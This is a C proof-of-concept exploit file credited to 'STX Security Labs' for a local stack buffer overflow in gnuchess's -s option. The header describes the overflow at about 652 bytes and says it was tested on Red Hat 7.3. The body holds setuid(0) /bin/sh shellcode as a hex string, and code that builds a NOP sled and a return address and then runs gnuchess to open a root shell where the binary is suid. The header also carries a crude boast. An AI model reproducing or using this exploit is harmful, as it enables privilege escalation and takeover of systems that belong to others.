/*

  STX SECURITY LABS:
 
  5358gchessfuck.c - x86 local buffer overflow exploit
  proof of concept code by: ace [ ace@static-x.org ]
  vulnerability discovered by: t0asty [ t0asty@static-x.org ]
 
  Description:
 
  gnuchess is an updated version of the GNU chess playing program.
  It has a simple alpha-numeric board display, an IBM PC compatible  interface,
  or it can be compiled for use with the chesstool program on a SUN workstation
  or with the xboard program under X-windows.

  Vulnerability:

  A buffer overflow vulnerability resides in gnuchess.
  A segmentation fault occurs when 652 bytes of data are sent to
  the binary using the -s switch. The data overwrites the EIP therefore
  it allows us to control the pointer, allowing us to execute code.
  
  Versions vulnerable:

  [-] All versions are believed to be vulnerable.
      Tested on: Red Hat 7.3 with the latest version.

  **************************************************
  * Note: gnuchess may not be suid on all systems. *
  **************************************************

  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  X                                        X
  X STX ONLINE [ www.static-x.org ]        X
  X                                        X
  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
 
  **************************************************
  * Note: our pen0rs are 50 x larger than yours.   *
  **************************************************
 
*/

#include <stdio.h>

char stxcode[] =

     /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
     "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
     "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
     "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
     "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
     "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
     "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";


unsigned long pen0r(void) 

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {
 
 int pos; int ace = pen0r(); int stxnop = 0x90;
 int stxbytes = 648; int stxtotal = stxbytes + 4;
 char *stxbof;
 stxbof = (char *)malloc(stxbytes); 

 for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
 *(long *)&stxbof[stxbytes] = pen0r();
 memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));

 system("clear");
 printf("########################################\n");
 printf("#        [ STX SECURITY LABS ]         #\n");
 printf("#  gnuchess local poc exploit by: ace  #\n");
 printf("########################################\n\n");
 printf("[+] Return Address: 0x%x\n", ace);
 printf("[+] Buffer Size: %d\n", stxtotal);
 printf("[-] /usr/bin/gnuchess -s pwned!\n\n");

 execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);

return 0;

}